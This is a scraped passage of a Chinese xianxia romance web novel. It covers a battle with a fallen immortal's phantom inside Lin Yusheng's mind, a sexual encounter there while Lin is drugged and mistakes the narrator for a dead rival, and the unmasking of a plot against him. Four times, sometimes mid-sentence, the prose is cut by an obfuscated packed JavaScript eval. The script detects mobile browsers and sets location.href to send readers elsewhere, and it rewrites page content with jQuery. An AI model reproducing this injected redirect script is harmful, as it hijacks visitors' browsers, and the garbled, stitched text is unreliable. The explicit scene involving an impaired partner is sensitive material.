“少废话!” 话音未落,林玉声便斥剑出去与那个残影缠斗起来,瞬息间已经是数十招过去,业火漫山。我顾不得旁的,立刻提剑跟上去,化出成百上千剑影。 即便只是心魔幻影,堕仙人的实力也远非常人可比。我勉强避过一道闪电,见林玉声虽然看起来毫无惧色、甚至很熟悉对面的一招一式,但同样应付得有些吃力。法阵已经落下,我冲上去抬剑同他一道顶住,林玉声就在此刻忽然很诧异地看我。 “你怎么还活着?” 我手上剑都险些慢了一瞬。我不应该活着吗? 他也没再说话,目光立刻又转回去,右手极快地结出法印,向上猛然一举,青色光芒与漫天业火猛然相撞,震得天地都震颤一瞬。 很不合时宜,但是这样的情景落在我眼中,让我有一霎兴奋得几乎整个灵魂颤抖——林玉声此刻完全出鞘了。 对面一声巨响,我忽然间见堕仙人身形暴涨如山岳,背后业火冲天,仰头勉强看见他竟然獠牙巨爪,成了半人半兽的样子。 整座山头都被他的笑声吼叫包裹住。足够让金丹修士灰飞烟灭的剑阵对他而言似乎无甚影响,只在他盔甲上留下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921823|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些印子。他抬步便山峦震颤,巨剑当空落下,地面立刻蜿蜒开一道极深的裂痕,我与林玉声在山崖碎裂前朝两侧跃开。 吓唬谁呢?谁还不会变大了? 我点地腾空起身,半息间鸣叫一声展开翅膀。平时我给林玉声看的是缩了很多很多倍的鸟身,眼下遮天蔽日的样子才是我真正的大小。我迎着狂风上去,盘旋间挡住他落下的攻击,在云层间瞥见林玉声青色的灵力在下方熊熊燃烧。 堕仙人方才不知为何,起初就是一副已经鏖战过的样子,此刻一时露出破绽,我与林玉声都趁着这个机会不顾一切地狂追猛打。 不知过了多久,对面的幻影才逐渐散去。 这东西也很讨厌,被打散了也不肯老老实实地退场,念叨着什么周而复始周而复始,笑得很难听,回音一层一层潮水一样地叠在一起。 林玉声似乎听不得这样难听的声音,我见状便捂住他的耳朵。他气息还未平稳,长发散落,手中剑尖曳地,被碰到的一瞬间又是那样很诧异地看着我。 “你……”他抬手,抬到一半又伸回去,胸腔剧烈起伏,“你不是已经……你怎么……” 我一愣,而后忽然明白了,一下子心凉了半截。 方才来不及细想,眼下我把这些奇怪之处都想清楚了。 ——那个碍眼东西当年是就在放鹿山一战魂飞魄散的。林玉声现在是把我当成他了。 我刚刚因为打赢了幻影而升腾起来的一点兴奋,一刹间被全部浇灭了。从头到脚浇灭了。 林玉声不是在看我。林玉声是在透过我看那个碍眼东西。 我以为他早就忘了那人了。时至今日、时至今日——他心中所想原来仍然跟我没一点关系。 林玉声眼下长发散落衣服散乱,瓷白脸上手上有几道血痕,汗涔涔地站在我面前,只是眼睛亮得出奇,几乎是灼热地盯着我。我被他这样看着,从头到脚都冰凉了。 顾不得身上的伤,我按住他的肩膀,强行提着一点神智试图理顺他的灵脉气海:“这里不是放鹿山——林玉声,你看着我,我是闻鄢,我们现在是在流玉峰……” 我重复了不知第多少遍,他才好像明白过来一点,呼吸渐渐平缓了,又慢慢地眨着眼睛。 “闻鄢?” “对,”听到他终于认出来了我,我心下松了一点,勉强笑了笑看着他,“闻鄢,我是闻鄢,你看看我,方才的都是假的,不要想了……” “闻鄢……对了,你是闻鄢……”他喃喃说,“我们已经回流玉峰了……” 还好他此刻看起来还能听进去我的话。看见周围战场景色迅速变化,几瞬之后又成了流玉殿,连带着方才的伤似乎也都消失了。我昏昏沉沉间松了一口气。 林玉声靠在我肩头,手指抓着我的衣襟。我撑着理智抱他起来,觉出来他身上似乎与平时不太一样,比平时温热一些。 今日之事一定是有人设计好的。但现在不是说这个的时候,也不是说什么……说什么旁的事情的时候。好容易帮他压制了心魔,等赵何处来了再说。眼下他需要休息了。 我抱着他进了房间,忽然脚步一停。 他房中方才是这样的吗?他房中从来是这样的吗? 墙上、案上、榻上,到处都是画卷。站着的、坐着的,执剑的、提灯的,面无表情的、微笑的、凛冽的,铺天盖地全都是一张面孔。 和我六分相似的面孔。 17. 荒唐事 满屋画卷在极细腻笔触下几乎是嚣张地看着我,我站在其中,简直…… 简直荒谬得可笑。 林玉声见我顿步,抬眼看我:“我还没来得及收起来……你不喜欢吗?” 我闭了闭眼,没说话,把他放到榻上,勉强理好他的头发,努力当做没看见那些画卷。 林玉声一动不动地看着我,忽然有些委屈一样扯住我的袖子:“我画了很久的……你一点也不喜欢?” 我意识其实已经不太清楚了,只是本能地灵力探查他体内的情况,正在疑惑经过方才两战他身体竟然看不出什么异样,闻言忽然意识一紧。 “我是谁?”我俯下身,尽可能让自己语调如常,“嗯?我是谁?” 我不想让林玉声不痛快,也不想让林玉声看见我的獠牙,在流玉峰一直都装得人模人样的,林玉声不提,我也从来没提过画卷的事情。 但这不代表我不在乎。我从第一天认识林玉声就在乎,非常、非常在乎。 这一晚上到处都是那个碍眼东西,眼下更是被铺天盖地的一个人包围,我原本就燥热昏沉的头脑几乎要克制不住自己的本性。 林玉声看我很久,有点疑惑地蹙眉:“你问这个做什么?我怎么会不认识你……你不是乌衣吗?” 我听见自己粗重的呼吸声。 “我是闻鄢。”我把他的手牵起来,贴在自己的脸侧,慢慢地、一字一句地和他很耐心地讲,“你好好看一看。我是闻鄢。” 没关系。分不出来,我就会在他耳边,一遍一遍、百遍千遍地告诉他,时日久了,他总会在铺天盖地的“闻鄢”两个字之中忘掉别人。 “你怎么、怎么这个表情?”林玉声更加疑惑地看着我,“我知道你是闻鄢,你更喜欢这个名字吗……你身上怎么这么热?” 我凑近他,指腹摩挲过他的嘴角:“再说一遍。我是谁?” 林玉声和我几乎是额头相抵的距离。我感觉到他有一点发抖,以为他是被吓到了,看清他神色却明白过来。 ——他在兴奋。 我听见他很听话地念了几遍我的名字,去亲他嘴角,在他耳边问他:“你喜不喜欢我?喜不喜欢闻鄢?” 他要是说不喜欢也没关系。那一定是他太累了,神智不太清楚了,说的胡话。 林玉声气息已经有些乱了,抓着我的衣襟与发梢,我问了他几遍才回答我。 “喜欢……”他贴着我的嘴唇,说话声音很低,有些含糊不清,“最喜欢你了……” 我就知道林玉声从来不骗人的。他果然最喜欢我。 他和平时的样子很不一样,眼神与话语都直白太多,几乎是急切地堵住我接下来的话。 林玉声是天才,但在一些事情上不得要领,试了几次也没能撬开我的牙关,我看见他似乎是恼了,就不再惹他,松开唇齿,放任他乱啃。 他这个人,衣服不用自己打理,就这样肆无忌惮地都揉乱了。我刚要按住他的手,却见他动作一顿。 “窗子没关……” 我顺着他的视线看过去,半轮亮晃晃满月窥在窗上。我略略松开他,抬手带起来阵风关了窗,告诉他:“关上了。” 林玉声显然放心了,在我发间摸索,扯下来我的发簪,随手丢在枕边, 今夜实在是明月夜。即便窗户关上了,室内也仍然明亮。我看着他就着月色,偏着头给两缕头发打结,隐隐约约觉得哪里有些奇怪。 林玉声外衫早滑落了,摆弄够了头发,又凑近来,要我亲他。月色透了窗户,照出来他眼下被春水透底浸过一样的眉眼。 我忽然在灼热的、混乱的浪潮里面,意识清醒一瞬——我们还在林玉声的神识里面! 夜蝠来时我看得清楚。今夜是一弯很浅的、朦胧的上弦月。方才窗外怎么会是银盘一样? 怪不得他身体也看不出对战过的痕迹,怪不得我也总觉得自己神智不太清楚——我们还在他的识海当中,我们根本没有出去。 林玉声见我不动,着急起来:“怎么了?” 我方才见到的是他的心魔,那眼下…… 林玉声环着我的脖子,贴近我,眼睛在昏暗夜色中发亮。 眼下我窥见的是他的欲念。 我咬牙撑着理智晃了晃他,却发现他被灼热浪潮已经完全包裹住了,根本比刚才还不清醒,连好好听人说话都不愿意。 他原来也有欲念。他竟然也有欲念。可这些都是对着谁的呢? 我不敢想,不愿想,闭上眼睛。 林玉声也没给我多想的机会。他抓着我的衣带,却解不开反打成了结,很着急地低声叫我名字。 我原本也不怎么清醒,那一点仅存的理智就这样毫不犹豫地又断裂了。我按着他乱动的手,逼着他看我:“我是谁?你是要谁帮你?” 他说:“乌衣?” 我压抑着气息摇头。他眼底已经有些水光了,蹭我的额头,又想了一想:“闻鄢……” 这就够了。这就够了。他至少认得是我。 我彻底放任自己失去理智了,在满地画卷之中细细密密地亲着他,让他一遍一遍叫我的名字。 ……他至少愿意是我。 林玉声在我身下细细地发着抖,眼尾发红,霜雪琉璃一样的声音彻底散乱了。我勾起来他的一点长发在指尖缠绕,含了他的耳垂很轻地在牙齿间摆弄。 那些画卷高高低低地挂着,看着。我忽然在滚烫的嫉妒之中生出一种强烈的、扭曲的快感。 我就是如此恶劣的一个人。 他身下只剩了一件半褪不褪的外衫,桃花色轻纱也罩着半幅画卷。我从他颈间慢慢一路亲下去,装作没听见他轻些慢些的要求,问他:“你更喜欢谁?” 林玉声看起来没明白,我拿了手边的一幅给他看,压低声音问他:“当着他的面,该做的都做了……你就是更喜欢我,是不是?” 我学过,床笫之间的话都信不得。但我会信。但我想信。 满室那人都在看着。林玉声愣了一瞬,发红的眼角又沁出来一点泪,仰起头,混乱之中手也挂不住,从我的肩头垂到臂弯。 “别说……别说了……” 他嗓音已经有点哑了,听起来很可怜。 “你不爱听?”我很轻地亲去他眼角的泪,故意加了力道,“我不如他,是不是?” 林玉声似乎说不出什么话来,只是摇着头,脚尖有一下没一下地踢我。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921824|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你这人……”他断断续续地说,“怎么……怎么想的……” 我停了动作,强忍着开口:“你还是更喜欢他,那我们何必还要做这事呢?” 林玉声抓着我臂弯的手收紧,很不满地蹙着眉:“你干什么……停下干什么……” 我没说话。他先忍不了了,开始小声求我。 我真是不知道自己此刻哪里来的定力,竟然不为所动地看着他。他手往上摸索,撑着我的胳膊起身来,哆哆嗦嗦地亲我的嘴角。 “最喜欢你……”他低喘着开口,“从前往后……都只喜欢你一个,这样好不好?你……” 我抵着他的额头:“我是谁?” 林玉声眼神都涣散,大概也不知道,自己在两个名字来来回回地念。 罢了。罢了。我埋在他的颈窝里面,昏昏沉沉之间彻底抛却理智了。 至少有我就好。有我就好。我就这样自欺欺人就好。 我比林玉声先从这场荒唐里面清醒过来。 方才情景在我眼前浮现,我下意识地闭了闭眼。我当真是很恶劣的一个人。 林玉声还陷在未褪的热潮之中,时不时细细地发着抖。我让他靠在身上,不太熟练地轻手拍着他,等着他清醒一些。 感觉到人动了动,我低头看他,见他视线聚焦起来,试探着叫他:“林玉声?” 他嗯了一声,抬眼看我。此刻他终于安静下来,能听人好好说话了。 我理好他的长发,检查他身上星星点点的痕迹,尽可能用平常的语气问他:“有没有哪里不舒服?” 他摇摇头,往我身边又挨近了点,伏在我的肩头。他好像很喜欢这样。 “林玉声,我们还在你的神识里面。”我闭着眼睛,不看他,也不看满屋的画卷,撑着理智低声对他说,“你该醒了,好不好?” 我来来回回地重复了不知多久,林玉声才应了一声,扶着我的肩膀坐起来一点,神色有些复杂地看着一地狼藉:“方才……到底是怎么了?” 药性看来已经差不多被压下去了。 我没说话——我不知道该怎么说。 但是哪怕他记不得方才的事情,眼下看周围情景,也差不多能明白过来了。他果然看了看,就沉默着把自己已经滑到肩头的外衫又往上拉了拉,看了我一眼,又垂着眼睛不知道在看什么地方,抬手间周围景色便迅速融化。 我们又回到了昏暗幽寂的流玉殿之中,衣服都穿得好好的,沾着一点夜里的冷气。赵何处的声音从外面传过来:“玉声?你在里面吗?玉声?” ……一定要现在就见人吗? 赵何处还在锲而不舍地询问,林玉声看我一眼,小声道:“开门?” 我实在不知眼下如何与他相处,又如何自处。只移开目光,点点头。 抬手解了方才留的结界,赵何处立刻进来,见我们都在地上坐着一惊:“到底是怎么回事?你们到底在做什么?” 方才在做什么,我敢说,他赵何处大概也不敢听。 我这样想,却忽然被赵何处的话一惊。 “整整十日没有半分音信,”他很着急地看林玉声,“明日就是仙门大会了,你们到底是怎么了?” 18. 榆木脑袋 门外顺着门缝流进来的不是月光,是一线昏黄的暮色。林玉声闻言也是一惊:“十日?” 我以为我们在他识海之中最多大半日功夫,竟然已经这样久! 我当日帮他挡了许多药粉,又与他一道入神识试图让他清醒,竟然也拖了这样长的时间。 若是我不在他身侧…… 赵何处皱眉:“玉声,我看你脸色不是很对,是不是你的心魔……” 他竟然也知道这件事? 林玉声眼神忽然飘忽一下,摇摇头:“不是……眼下无碍了。” 我的角度能看见他耳下颈上皮肤淡淡的红色。 方才之事虽然都发生在神识之中,我与林玉声身上没留下半点痕迹,但所有的感受都还清清楚楚地烙着,跟做梦完全不同——画面声音都记得格外清晰,嵌在神魂里面了一样。 ……我想,林玉声大概也好不到哪去。 “明日就是仙门大会,”林玉声又道,“赵师兄事务繁忙,不必太过为我挂怀。我这边没什么事,只是修炼忘了时辰罢了。” 他没有把木傀儡的事情告诉赵何处。我心下一动。 赵何处在流玉峰上留了一会儿,确认林玉声看起来的确没有什么问题,交代过他几句便下山。林玉声让我送一送他。 他以往都是自己把他们送到结界处的。赵何处转过身去之后,林玉声坐在那里,皱着眉跟我很快地比划一下,我就明白了。 ——痕迹是没带出来,但嵌在神魂里面的感受一时半会儿是褪不下去的。 林玉声态度也有些别扭。我目光躲闪一下,点了点头。 面对着他,我实在是不知道眼下要拿什么身份自处。我得意了那么些时日,结果还真就只是……自欺欺人。 赵何处跟我没什么话好讲,问了我一句林玉声是不是伤到了便没再说别的。到了结界处我立刻转身要回去,赵何处却叫住我:“闻鄢。” “怎么?” 他笑了一下,但我感觉他笑得很勉强:“玉声眼下待你很亲近。” 我点点头:“是。怎么了?” 他静静地看了我一会儿,忽然开口:“你是有意接近他的。” 不知道他怎么看出来的。我没打算否认,打量着他的神色:“是。” 准备跟林玉声告我的状吗? “玉声想做的事情,我拗不过他。”赵何处慢慢道,“我不管你图什么,但是无论如何,我是他师兄,他是我青云宗的人。你若是动什么心思,也踏不出青云宗半步。” 我不知道这人怎么想的。我耐着性子和他解释:“我不修那个邪门的无情道。我不会杀夫证道的。” “杀夫证道?”赵何处蹙眉,“你以为你是谁?闻鄢,你到底是知道还是不知道?玉声留你在身边,只是因为……” “因为我和那个早就魂飞魄散的东西长得像?” 怎么又提起来这个。跟他过不去了是吗? 我眼下对这人的厌恶已经到达了一个前所未有的高度了——我无论如何也骗不了自己了,林玉声大概的确爱过这个人,甚至是现在。 但我在最难过的时候,看着他也恨不起来——退一万步来讲,就算他当真是骗我,拿我当替身,不也是我自己上赶着的吗?半点也不能怪林玉声。 我怪不了他。 再说,林玉声至少还能在幻境里面认出来我,我想了又想,这至少说明他心里还是有我的。我想,我也不能算无名无分。 反正我编也会给自己编出来个名分的。 我就是这样蠢。我认准的东西,无论如何,我都不会回头的。 赵何处看了我几眼:“你既然知道……你甘心吗?” “我有什么不甘心?”我笑了,“反正眼下在林玉声身边的是我。” 横竖都是从前的事了。我压下去涌到喉头的涩感。林玉声不提,我就当做不知道。翻旧账又能翻出什么来呢? 就是这样。他眼下身边是我。我只是在他身边的时日还太短了。只要我又争又抢,再过十年、一百年,还会有那晦气东西什么事呢? 就是这样。就是这样。 我一边这样告诉自己,一边觉得自己真的是完蛋了。 “他天赋不下于你,与玉声早就相识交好,百年前更是为了玉声才魂飞魄散。你以为玉声无缘无故留你是为什么?”赵何处似笑非笑,犹豫一瞬,声音低了下去,“……愚不可及。” 我抱着剑盯着他,忽而觉出来点什么。我说:“你是不是喜欢林玉声?” 赵何处一怔,我又问他:你是不是喜欢林玉声?“” “这有什么不敢承认的,”我说,“人之常情。” “……” 赵何处抿了抿嘴,很警惕地看着我。我皱眉:“我没打算告诉他。” 林玉声大概也不知道。他说起来赵何处的时候总是说他是个负责的掌门,很尽心地打理宗门事务,青云宗在他手里很好。 “赵师兄吧,人挺好的,一直对我也照顾,就是有时候有点……嗯,古板。”林玉声那时弯了眉眼对我讲,“我以前做事总不着调,他以为我这次也胡闹呢。以后你们熟悉了就好了。” ——若不是我前些日子看过青云宗的案卷,我根本想不到若不是因为放鹿山一战,其实原本林玉声自己才是当年下一任掌门的人选。 林玉声。林玉声。怎么脑子里到处都是他的一颦一笑呢? 既然都对我笑了,为什么就不能只对我一个人这样笑呢? “你喜不喜欢他我管不着。”我眯着眼睛,“你也用不着拿旁人来压我。各凭本事就是了。” 对,各凭本事。我自己和自己这样重复。各凭本事。我就不信谁能争得过我这个狐狸精坏鸟。 他在我快不耐烦的时候才又开口:“你眼下借着这张脸,有没有想过将来如何?” 我说:“我跟林玉声好得很。” 他又道:“你这样执着下去,对自己有什么好处呢?” 我说:“我跟林玉声好得很。” 他说:“你就不想一想……” 我说:“我跟林玉声好得很。” “……” 赵何处念叨着什么榆木脑袋下了山,我回到流玉殿中的时候,看见明漪搁在一旁,林玉声正挑着烛火自己研究那个木傀儡,见我进来抬头。 他好像自己都没意识到自己笑了一笑,因为他和我视线对上几下就很局促地又低下了。 方才和赵何处那样说,但眼下我看着他,那股气焰又退下去了。我在案边坐下,努力装作和平常一样的样子找话问他:“这木傀儡有什么问题?” “看不出来什么。”他说,“一次性的,大概就是为了给我下药。下手的多半是熟悉我的人。” 我盯着那个木傀儡,像是要盯出来个洞。 熟悉他的人,才会知道他看见谁的时候才最容易中圈套。做这东西的人可恨,这木傀儡像的人也可恨。 我压下去这些思绪,问他:“你怀疑谁?绑过来问问就是了。” 林玉声想了想,摇头:“范围不小。此时人多眼杂,过了仙门大会再说。” 也罢,我再多留心些便是。这次是未曾防备,之后横竖我守在他身边,旁人不能把他怎么样。 他像是看穿我在想什么一样,又很认真地开口:“无论什么情况,不要轻易动用你的灵力。” 我不明白,他蹙眉看我,往前探了一点身子:“你答应我。只答应我这一件事。” 他这个样子,我只能点头。是为了不让我冲上去打架吗? 林玉声说完便不说话,我也不知道说什么,只盯着烛火影子在案上晃晃悠悠地打转。眼下这房间里面干净整齐,我却恍惚间看见的还是方才那副景象。 铺天盖地的画卷高高低低地看着我。它们眼下被林玉声小心仔细地收在哪里呢? “闻鄢。” 他忽然叫我,我抬眼对上他的视线,见他看我很久,又垂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921825|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,睫毛影子轻轻地颤动。 “我有事与你说。” 我正要下意识地点头,看着他认真神色,心下却忽而如擂鼓,在他开口前一瞬抢先道:“跟……跟那个人有关吗?” 林玉声顿了一瞬,点点头。我按住桌角:“明日……明日再说,好不好?” “可是……” “明日再说吧?” 太久没温习了。我的确是打算重振一下旗鼓,但至少要我对着那些玉简典籍,把可能的情况和对策都好好想过,一一列出来之后,再来和他说这件事。 万一我哪句话说得不对了呢?做事要严谨。我不是一时半会儿不敢听,我只是需要温习一下我的手段。就是这样。 “也好。”他看着我,笑一笑,“你也累了,早些休息。明日再说。” 周照川第二日早上的时候上了流玉峰顶。 林玉声不下山,也早就不参加仙门大会了,只是搬了椅子坐在竹林外面,在湿润的云气里面和往常一样在膝上摊开本书。 他最近花越来越多的时间在看书上。我问他是什么,又不肯告诉我。有什么是我不能看的吗? 我正在擦两把剑,感觉到一点波动,远远看见周照川从半山的结界处过来,转头却发现林玉声竟然没察觉异样,低着头指尖捻了掉在书上的桃花瓣,又看着旁边光秃秃的桃花枝出神。 “林玉声,”我叫他,见他没反应,又叫一声,“林玉声?” 他睫毛这才颤了一下,回过神来看我:“怎么了?” 我指指结界的方向,林玉声噢了一声站起来:“对,照川原本说仙门大会之前再来让我看一下她的进益……” 我觉得他这几日很奇怪,像有心事。 周照川一向没什么表情,这回见了我们却很担心,很紧张地问林玉声这些时日到底怎么回事——她前几日刚回到青云宗,就听赵何处说流玉峰上到处不见人、流玉殿又进不去的事情。 林玉声还是和往常一样,轻声告诉她没什么事,拍拍她的肩膀。 “好了,”他对周照川笑道,“明日就是仙门大会了,旁的就先别管了。小孩子这样愁眉苦脸的做什么。” 我忽然想起来几年之前我刚到流玉峰的时候。他也是这样,说我是“小孩子”,拿着梳子给我慢慢地束发。 仿佛是上辈子的事情了。我的身量、修为、心性,和林玉声的关系,都进的这样快,好像我把常人的一辈子都缩成几年了一样。 我把明漪递给林玉声,看他随手挽了个剑花,剑尖一挑化解周照川的攻势,剑锋贴着她的衣袖擦过去。 林玉声和我切磋的时候比眼下凶得多了。 周照川接了百招之后开始有点不支,林玉声放出灵力托了她一把,收了剑:“比起上次进益很大。” 他拢了衣袖站在那里,和周照川讲方才的漏洞。明漪飘在一旁,却好像仍然很兴奋,泛着淡青色的光华飞来飞去,险些削了林玉声的花树,被我一把捞住。 ——我忽然发现剑身又在细细地颤抖。周照川的声音在旁边响起来:“师尊?” 我转头,看见林玉声蹙着眉闭了闭眼:“不妨事。” 习惯性上前去看他的一刻,一些碎片忽然一瞬间串联了起来。 等一下。 我顿住脚步。 ——明漪早几日就有异样,林玉声近来同样心神不定。那晚林玉声毁了木傀儡的时候同样出了剑。药粉对他格外有用。 我看着林玉声,又看了看明漪,忽然心下一动。 旁人轻易接近不了林玉声,但明漪不一样。隔几个月,我就会带着它上神兵峰。这样算起来,明漪的不安、林玉声的心神不定,似乎也正是从上次我带着明漪从神兵峰回来开始的。 剑修用剑时,心神与剑合一。 我记得清楚。第二日我便和周照川下了山,前一日林玉声夜间很不安稳,我到西山拿火灵核的时候特地要了安神的药。 ——何一水! 19. 端倪 何一水见到我的时候,正自己坐在冶兵台前,见我落地关门的一瞬间也没什么反应,只是像往常一样沉默,看着我布下结界。 我没告诉林玉声。他连灵力都不让我动用,若是知道了,大概不会放我出来。 但这事不能耽误。 “没想到林峰主……就直接叫你这样来了。” 不然呢?我觉得有些人真的很奇怪。要是拥有绝对的力量压制,还想着设计那些个弯弯绕绕,不如不待在修真界。 他好像早就知道林玉声会发现这件事一样,连我锁他灵力都没反应。 我没敢对他放心,仍旧打着十二分的戒备,给他塞了吐真丹快速道:“你对明漪动了手脚?” “是。” 何一水仍旧是那副没什么表情的样子,声音也无波澜:“冶炼的时候加了魔气,用剑者同样会受到影响。” “木傀儡是你做的?” “是。” 何一水看不出来一点没得逞的样子。他背后还有人。 “什么人指使?” 他似乎有一瞬的犹豫,但吐真符生效,他还是不得不立刻回答我:“归璞、归素、归仪。” 我皱眉。这是青云宗的三个太上长老。又是这群老东西? 何一水再怎么样也是一峰之主,吐真符只能控制住他这片刻的功夫了。我趁着余下的几息问出来明漪问题的解决方法,见他仿佛卸下一点负担一样,肩膀松下来,闭了闭眼睛。 “你现在准备做什么?” “拆了你的冶兵间,”我实话实说,“再打晕你带走。” 何一水面上难得地出现了一种很复杂的、不像兵器而像正常人的表情。他似乎在斟酌措辞,许久才咬着牙关说话:“能不能不动我的冶兵间?” 我偏了头看他,眯起眼睛:“不能。” 就是冲着他最看重的东西来的。我又不是什么大善人。 “你带不走我。”何一水在一片狼藉的冶兵间里面开口,“太上长老在此处留有禁制,事成之前不会放我出去。” 我停了动作,看着他。 “林峰主有危险。”他忽然开口,“太上长老一直提到仙门大会,大概就是要此时动手。他们此事谋划很久,一定不会是什么小打小闹。我也是不得已,行差踏错,眼下知道的只有这些了,你……当心。” 不得已吗? 何一水的来历林玉声同我提过。他早年是青州打铁匠出身,机缘巧合被带上青云宗,但也不爱与人交往,即便做了峰主也不争什么实权,只是自己带着弟子们早上打神兵中午打神兵晚上接着打神兵,这么些年下来收获其他峰头写满了八个账本的赊账,只偶尔自己出门回到青州悄悄地晃一圈。 ——林玉声说起这个还是因为让我帮他翻找他库房里面的云铁,打算找个机会偷偷掉在何一水到青州的路上。他不知道听谁说,何一水前些日子因为打神兵,在到处寻这东西。 他知道自己最好别碰这个干净整洁的库房里面的任何东西,就在一旁絮絮地和我说这些。说到后面还很得意,说他以前很拿手偷偷给人藏东西这种事情,一次都没有被发现过。 我忍了又忍,还是没忍住问他,到底给多少好师兄好师弟好姐姐好妹妹这样藏过东西。 方才同林玉声说大概是何一水下的手的时候,那块云铁就在他的案上,压着青州的布防图。 青云宗各地布防调度都是传闻中不问世事的林玉声在管,总是点着烛火到半夜。 “闲着也是闲着,旁的我又不会,多少揽一点差事,”他那时候笑着提笔蘸墨,“我问掌门师兄要钱也好理直气壮一些。” 我看着何一水,还是问他:“你自己的不得已,跟旁人又有什么关系呢?” 我赶回流玉峰的时候天色已经暗了下来,竹林上刚刚升起来一钩很淡的弯月。林玉声正好好地坐在那里,见我回来目光便投过来。我松下一口气。 “你上哪了?” 周照川还站在旁边,我只朝他摇摇头,意思是等会儿再说。周照川从我过来就若有所思地看我,我看回去,她就立刻收了目光。 我也没心思管这些,林玉声叫我给她指点剑术,我就没用灵力给她喂了几十招,完事之后就自己到一旁去,按照何一水给的方法给明漪排出去体内的魔气,思考那群老东西到底准备对林玉声怎么样。 周照川跟我打完好像有点情绪波动,林玉声在旁边告诉她我就是这个样子,没必要跟我比。 我听了没说话。我以前从来觉得修炼比别人快是好事,但林玉声昨日那样说,我终于开始重新审视这件事。 突破的确有点太快了。灵力增长的速度似乎已经脱缰了,越来越多地超出我的控制范围。似乎有什么东西在我体内不管不顾地燃烧。 我终于开始仔细想这件事的时候,隐隐觉得这不太对。 仙门大会在即,周照川作为流玉峰首徒有旁的事,在流玉峰上待不了太久便又要到主峰。林玉声要我送她下山,她在结界处叫住我:“闻前辈。” “怎么?” 她看着我:“我听云帆说起来,前辈前些时日问过我是如何到流玉峰来的。” 我想了片刻才想起来,已经是几个月之前的事情了。那时候我对修真界的师徒有点偏见,还觉得她也不得不防。 “前辈现在还想听吗?” 我在想别的事,分出一点心神来随便点点头,听见她没什么起伏地讲下去。 “我以前叫陈招娣。十二岁的时候,村子里面来了魔兽。师尊路过的时候,救了我们。”周照川语速很快,“他原本将我安置在旁的地方,但我用了各种方法,跟了他一路,求他收我为徒。师尊心好,到底还是将我带回了青云宗。” 她说到这里,顿了顿:“我那时候拼命地修炼,想要变强不假,却也有私心。” 我心下一动,问她:“林玉声?” “是。”周照川很坦然地点头,“他那个时候仙人一样救了我,我自然仰慕他、只想一辈子留在他身边,依附他、侍奉他。我甚至没忍住,有一日告诉了他。” 她说完看我,却像是在看很远的地方:“你知道师尊怎么说吗?” “他问我,‘你说你喜欢我,我是谁呢?’” “我说,您是流玉峰的剑尊,是我见过最好的人。他就笑了,问我,‘那你是谁呢?’” “我想了很久,才说,我是陈招娣。师尊就告诉我,陈招娣只是个连名字都算不上的代称,我连自己是谁都不知道,又怎么谈得上喜欢谁不喜欢谁呢。” “他没有同意,也没有赶我走,只是让我修炼,让我看书,让我下山去游历。他说,等我能告诉他我是谁,再来和他说这件事。” “我不明白,但是他说什么我便听什么。我每日努力修炼,看很多的书,到各处去游历。在外面的第三年,我没告诉任何人就做主改了名字,叫周照川。” 她讲到这里,面上才露出来很怀念的神情:“那个时候我恰好在周山脚下,刚刚斩了魔兽,擦剑时看到明月满川。我觉得我很喜欢这样的景色。” “我本来早都已经忘记我这样努力的缘由了。那时候我才忽然间又模模糊糊地想起来,我最开始竟然是为了……为了能再和师尊说我喜欢他。” 周照川说到这里,摇摇头:“那时我自己都笑了。我已经知道我是谁了,自然也知道,什么是雏鸟之情、什么是爱慕之情,更知道比起追着他,我更愿意由着自己。师尊当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921826|192586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,原是在点拨我。” 我没说话。 她似乎犹豫了一下,神色认真地告诉我:“我在青云宗里面听说了……关于前辈的一些事情。” 关于我的事情?那大概只能是我作为狐媚子被她师尊带回流玉峰这件事了。但是这是多久之前的事情了,她现在才反应过来吗? 她站在台阶上,握着剑,抬头看我。 